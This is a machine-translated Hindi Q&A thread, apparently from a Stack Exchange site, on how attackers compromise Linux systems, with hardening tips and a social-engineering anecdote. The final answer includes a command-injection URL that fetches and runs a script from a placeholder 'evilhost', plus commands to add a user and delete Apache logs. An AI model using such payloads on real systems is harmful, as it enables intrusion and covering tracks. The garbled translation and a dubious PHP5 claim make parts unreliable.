यूनिक्स / लिनक्स सिस्टम को लोग वास्तव में "क्रैक" कैसे करते हैं?


13

कोई im पटाखा या ऐसा कुछ नहीं देख रहा है, लेकिन Im प्रक्रिया का पता लगाने की कोशिश कर रहा है (एक प्रोग्रामिंग दृष्टिकोण से अधिक)।

तो मान लें (अनुमान लगाते हुए) एक पटाखा का मुख्य लक्ष्य जो भी सॉफ्टवेयर (या स्क्रिप्ट) वह सही लिखा है उसे स्थापित करने के लिए रूट एक्सेस प्राप्त करना है? या शायद अपने स्वयं के कर्नेल मॉड्यूल को स्थापित करना (जो भी कारण के लिए कुटिल है) एक व्यक्ति वास्तव में ऐसा करने के बारे में कैसे जाता है?

मैं जानता हूं कि लोग कारनामों की जांच के लिए स्क्रिप्ट का उपयोग करते हैं ...... लेकिन मैं यह नहीं देखता कि कैसे, और मैं यह भी नहीं देखता कि वे उन्हें ढूंढने के बाद उनके साथ क्या करते हैं? क्या वे ज्ञात कारनामों के लिए संस्करणों की जाँच कर रहे हैं ...... और फिर एक बार वे एक खोज करते हैं ......।

मुझे पता है यह सब बहुत नया लगता है। लेकिन im बस यह जानने का प्रयास कर रहा है कि यह कैसे काम करता है क्योंकि मुझे पता है कि लिनक्स / यूनिक्स सिस्टम बहुत सुरक्षित हैं, लेकिन यह पता लगाने की कोशिश कर रहे हैं कि कोई रूट एक्सेस प्राप्त करने के बारे में (प्रक्रिया) कैसे जाएगा।

जवाबों:


14

ऐसे अनगिनत कारण हैं जो किसी सिस्टम की सुरक्षा से समझौता करने की कोशिश कर सकते हैं। व्यापक स्ट्रोक में:

  • सिस्टम के संसाधनों का उपयोग करने के लिए (उदाहरण के लिए स्पैम, रिले ट्रैफ़िक भेजें)
  • सिस्टम पर जानकारी हासिल करने के लिए (जैसे ई-कॉमर्स साइट से ग्राहक डेटा प्राप्त करें)।
  • सिस्टम पर जानकारी बदलने के लिए (उदाहरण के लिए एक वेब साइट को ख़राब करना, गलत जानकारी लगाना, जानकारी निकालना)

केवल कभी-कभी इन चीजों को रूट एक्सेस की आवश्यकता होती है। उदाहरण के लिए, एक साइट पर एक विकृत खोज क्वेरी दर्ज करना जो उपयोगकर्ता इनपुट को ठीक से नहीं करता है, साइट के डेटाबेस से जानकारी को प्रकट कर सकता है, जैसे उपयोगकर्ता नाम / पासवर्ड, ईमेल पते, आदि।

कई कंप्यूटर अपराधी सिर्फ "स्क्रिप्ट किडिज़" हैं; यानी जो लोग वास्तव में सिस्टम सुरक्षा को नहीं समझते हैं, और कोड भी नहीं कर सकते हैं, लेकिन दूसरों द्वारा लिखे गए कारनामों को चलाते हैं। ये आमतौर पर बहुत आसानी से बचाव करते हैं क्योंकि इनमें अनुकूलन करने की क्षमता नहीं होती है; वे ज्ञात कमजोरियों का शोषण करने तक सीमित हैं। (हालांकि वे बॉटनेट का लाभ उठा सकते हैं - समझौता किए गए कंप्यूटरों के बड़े समूह - जिसका मतलब डीडीओएस हमलों का खतरा हो सकता है)

कुशल हमलावर के लिए, प्रक्रिया कुछ इस प्रकार है:

  1. पता लगाएँ कि लक्ष्य क्या है, और लक्ष्य क्या है। सुरक्षा - इसे बनाए रखना या इससे समझौता करना - एक जोखिम / इनाम की गणना है। जोखिमभरा और अधिक महंगा कुछ होगा, जितना अधिक हो सके उतना अच्छा इनाम किसी हमले को सार्थक बनाने के लिए होना चाहिए।

  2. सभी गतिशील भागों पर विचार करें जो लक्ष्य चाहे जो भी हों - उदाहरण के लिए, यदि आप स्पैम भेजना चाहते हैं, तो आप मेल सर्वर पर हमला कर सकते हैं , लेकिन यह एक अलग नेटवर्क-सामना करने वाली सेवा के बाद जाने के लिए और अधिक समझदार हो सकता है, जैसा कि आप सभी वास्तव में करते हैं। आवश्यकता लक्ष्य के शुद्ध कनेक्शन का उपयोग है। यदि आप उपयोगकर्ता डेटा चाहते हैं, तो आप डेटाबेस सर्वर, वेबैप और वेब सर्वर को देखना शुरू कर देंगे जिसमें इसे एक्सेस करने की क्षमता होगी, जो सिस्टम इसे बैकअप देता है, आदि।

    मानव कारक को कभी भी छूट न दें । कंप्यूटर प्रणाली को सुरक्षित रखना मानव व्यवहार को सुरक्षित करने की तुलना में कहीं अधिक आसान है। किसी को उन सूचनाओं को प्रकट करने के लिए प्राप्त करना, जिन्हें उन्हें नहीं करना चाहिए, या उन्हें नहीं चलाना चाहिए, दोनों आसान और प्रभावी हैं। कॉलेज में, मैंने एक दोस्त के साथ एक शर्त जीती, जिसमें एक खुलासा संगठन को दान करके और एक भयानक उपराष्ट्रपति में भाग लेकर अपने uber- सुरक्षित कॉर्पोरेट नेटवर्क को तोड़ना शामिल था - मेरे दोस्त की तकनीकी विशेषज्ञता मेरा बहुत आगे निकल गई , लेकिन 17yo की शक्ति से कुछ भी नहीं हुआ एक छोटी स्कर्ट में सह-एड!

    यदि आपके पास स्तन की कमी है, तो एक व्यर्थ खेल की पेशकश करने पर विचार करें या ऐसा कुछ जो बेवकूफ बिना मज़े के डाउनलोड करेगा।

  3. आपके द्वारा पहचाने गए प्रत्येक भाग को देखें, और विचार करें कि यह क्या कर सकता है, और यह कि आप जो चाहते हैं उसे कैसे किया जा सकता है - शायद हेल्प डेस्क उपयोगकर्ताओं को कॉल करने वाले को ठीक से पहचाने बिना बार-बार पासवर्ड रीसेट करता है, और उन्हें कॉलिंग भ्रमित कर रही है। आप किसी और का पासवर्ड प्राप्त करें। हो सकता है कि वेबएप यह जाँच नहीं कर रहा है कि खोज बॉक्स में क्या डाला गया है, यह सुनिश्चित करने के लिए कि यह किसी फ़ंक्शन को चलाने से पहले इसे कोड नहीं करता है। सुरक्षा समझौता आमतौर पर कुछ जानबूझकर उजागर होने के साथ शुरू होता है जिसे एक तरह से व्यवहार करना चाहिए।


3
पढ़ने के बाद, मैं अभी भी इस बात को लेकर उत्सुक हूं कि एक उप-राष्ट्रपति उपराष्ट्रपति को आकस्मिक बातचीत में कौन सी जानकारी प्रदान कर सकता है जो आपको उस शर्त पर जीत दिलाएगा।
जस्टिन

1
@ अन्याय: मैंने कहा कि मैं $ दोस्त को फिर से देखने के लिए वहाँ था: एक स्कूल परियोजना, लेकिन वह कार्यालय से बाहर था। मैंने VP को कंप्यूटर सिस्टम के बारे में कुछ तुच्छ बातें दिखाईं, और वह मुझे देखकर घूरने से बहुत विचलित हुआ कि मैंने उसे उसका पासवर्ड दर्ज करते हुए देखा। मेरे पास शर्त जीतने के लिए जिस ड्राइव का उपयोग करने वाला था, उसकी वैध पहुँच थी।
हेजमैज

1
मैं पूरी तरह से सहमत हूँ, सामाजिक इंजीनियरिंग ढेर overflows की तुलना में बहुत आसान है। आप करेंगे वास्तव में इस तरह archive.cert.uni-stuttgart.de/isn/2006/01/msg00055.html
रोहन मोंगा

"यदि आपके पास स्तन की कमी है, तो एक व्यर्थ खेल या कुछ और पेश करने पर विचार करें" .. गंभीरता से? आप दोनों को एक ही श्रेणी की प्रभावशीलता में डालते हैं ?! :)
रूपेश शेनॉय

2
"एक व्यर्थ खेल या कुछ ऐसा पेश करने पर विचार करें जो बेवकूफ मज़े के लिए डाउनलोड करेंगे ..." - आह, इसलिए फार्मविले और एवनी के पीछे का विचार है।
शादुर

4

सबसे बड़ा कारक हमलावर की पहुंच का प्रकार है। यदि उनकी भौतिक पहुँच है, तो आप खराब हैं। यदि आप केवल रिमोट एक्सेस से संबंधित हैं, तो यह निर्भर करता है कि आपके पास क्या चल रहा है; अच्छा विन्यास सब कुछ है। एक मानक linux सर्वर शायद ftp, ssh, http, https, और mysql चल रहा होगा। SSH सुरक्षित है, लेकिन मैं रूट लॉगिन की अनुमति नहीं दूंगा, और हर खाते पर एक अच्छा पासवर्ड होना आवश्यक है। एफ़टीपी हिट या मिस है। यदि आपके पास वीएसएफटीपी है और अपने उपयोगकर्ताओं को चेरोट करते हैं, तो यह बहुत सुरक्षित है। कई अन्य संस्करण कमजोरियों को जानते हैं। HTTP शायद आपका सबसे कमजोर क्षेत्र होने जा रहा है। यहां आपकी सबसे बड़ी चिंता कुछ भी है जो सिस्टम पर फ़ाइलों को निष्पादित करता है, या सिस्टम पर फ़ाइलों को अपलोड करता है। यदि आपकी वेबसाइट PHP5 में की जाती है तो SQL इंजेक्शन बहुत मुश्किल है। सुरक्षा छात्रों और स्वयं के एक समूह ने सप्ताह के लिए एक अवांछित PHP5 वेबसाइट पर SQL इंजेक्शन की कोशिश की और असफल रहे। MySQL के साथ एक गैर-रूट उपयोगकर्ता का उपयोग करना सुनिश्चित करें और इसे केवल अपने Apache सर्वर से लॉगिन करने के लिए प्रतिबंधित करें।

वेबसाइट भेद्यता का परीक्षण करने के लिए कुछ फ़ायरफ़ॉक्स प्लगइन्स हैं: मुझे एक्सेस करें, xss me, और sql मुझे इंजेक्ट करें

सुरक्षा को सुनिश्चित करने के लिए कुछ बड़ी चीजें मैं हमेशा प्रतियोगिताओं में करूंगा:

  • netstat - खुले बंदरगाहों और कनेक्शन की जाँच करें,
  • w - कौन लॉग इन है, कब तक,
  • लॉग के लिए लॉग की जाँच करें,
  • वंचित कमांड के लिए बैश इतिहास,
  • ps - कमांड चलाना,
  • /etc/passwd अतिरिक्त उपयोगकर्ताओं के लिए
  • /etc/sudoers सुडो पहुंच के लिए।

आमतौर पर पहुंच प्राप्त करने के बाद, एक हमलावर रूट प्राप्त करना चाहता है। वर्तमान में कुछ विशेषाधिकार वृद्धि कमजोरियां हैं जो एक सामान्य उपयोगकर्ता को जड़ हासिल करने की अनुमति देगा। इसके बाद, वे उपयोगकर्ताओं को जोड़कर और बाद के दरवाजों को खोलकर इसे बाद में खोलना चाहते हैं।

यहाँ मेरे विद्यालय की साइबर रक्षा वेबसाइट है। चारों ओर देखने के लिए स्वतंत्र महसूस करें और कुछ प्रश्न पूछें: https://thislink.doesntexist.org/


2

किसी सिस्टम की सुरक्षा प्रशासक के कौशल पर निर्भर करती है, इसलिए यह कहना गलत है कि "लिनक्स / यूनिक्स सिस्टम बहुत सुरक्षित माना जाता है" :)

अब हैकिंग के बारे में जाने के लिए ... नेसस जैसे " भेद्यता स्कैनर " नामक एक प्रकार का उपकरण है जो चीजों का दोहन करने के लिए देखता है। ऐसी हजारों चीजें हैं जो एक जटिल प्रणाली में गलत हो सकती हैं, जैसे कि गलत तरीके से कॉन्फ़िगर किया गया अपाचे सर्वर मनमाने स्थानों पर मनमाने फाइलों को अपलोड करने की अनुमति देता है। वे आगे के कारनामों के लिए एक कदम पत्थर के रूप में सेवा कर सकते हैं, जैसे कि डेटाबेस तक पहुंच प्राप्त करना, या एक ईमेल खाता जिसमें से पासवर्ड "पासवर्ड भूल जाएं" सुविधा के माध्यम से बहाल किया जा सकता है।

कभी-कभी एक हैक का उपयोग करने और कुछ बुराई करने के लिए होता है। कभी-कभी लोग इसे मज़े के लिए करते हैं (जो मूर्खतापूर्ण है, वैसे)।

और, यहाँ एक प्रसिद्ध हैक की कहानी है जो हाल ही में हुआ। मुझे लगता है कि यह सुरक्षा को देख रहे किसी भी व्यक्ति के लिए निराशाजनक होगा! शोषण के सारांश को उद्धृत करने के लिए:

SQL इंजेक्शन की खामियों और असुरक्षित पासवर्ड के साथ एक वेब अनुप्रयोग। पासवर्ड जो बुरी तरह से चुने गए थे। वे पासवर्ड जिनका पुन: उपयोग किया गया था। सर्वर जो पासवर्ड-आधारित प्रमाणीकरण की अनुमति देता है। सिस्टम जिन्हें पैच नहीं किया गया था। और ई-मेल पर क्रेडेंशियल्स को सौंपने की एक आश्चर्यजनक इच्छा, यहां तक ​​कि जब उनसे पूछा जा रहा व्यक्ति को एहसास होना चाहिए कि कुछ ऊपर था।


1

अनंत के पास होने के लिए बहुत सारे हमले वैक्टर हैं। वैचारिक रूप से सबसे सरल में से एक कार्यक्रम को सार्वजनिक रूप से उपलब्ध कराना है, और यह कहना कि यह वास्तव में इसके अलावा कुछ और करता है। sudoशुरुआत में उपयोगकर्ताओं को अनुकूल निर्देश दें , और दुनिया को तेजी से आगे बढ़ते देखें। यह बंद स्रोत कार्यक्रमों के साथ हर दिन होता है, क्योंकि यह एक व्यक्ति के लिए अपने कामकाज का निरीक्षण करने के लिए पहले से ही अक्षम है, उदाहरण के लिए सोनी सीडी के साथ देखा गया ।

आप किसी दूरस्थ होस्ट के लिए विशेष स्ट्रिंग्स भेजने का भी प्रयास कर सकते हैं। उच्च-स्तरीय उदाहरण के लिए, मान लें कि आपके पास उस पर चलने वाले कुछ सॉफ़्टवेयर के साथ एक वेब सर्वर है, और वह सॉफ़्टवेयर URL के भाग को बिना आदेश के भागता है या फिर बिना किसी बाधा के यह सुनिश्चित करता है कि वह कोई नुकसान न कर सके। कुछ ऐसा भेजें http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh। डिकोडेड, खोज स्ट्रिंग बन जाता है । यदि वह चलाया जाता है, तो script.sh वेब सर्वर उपयोगकर्ता के लिए मशीन पर कुछ भी करने के समान अधिकार के साथ चलेगा। कभी-कभी लोग इन्हें "सुविधा" के लिए मूल के रूप में चलाने देते हैं, इस मामले में आलस्य और / या अव्यवस्था का एक पर्याय। यहां तक ​​कि अगर इसे रूट के रूप में नहीं चलाया जाता है, तो वह स्क्रिप्ट स्थापित सॉफ़्टवेयर में अन्य छेदों के लिए हजारों परीक्षण चला सकती है, और यदि यह एक मिल जाए तो दूसरी कमांड चला सकती है। उदाहरण के लिए अंतिम आदेश हो सकता हैfoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.logSSH पहुंच प्राप्त करने और ब्रेक-इन के निशान हटाने के लिए।

[आज्ञाओं को स्पष्ट रूप से सरल किया गया था और शायद वैसे भी काम नहीं करेगा। YMMV]

हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.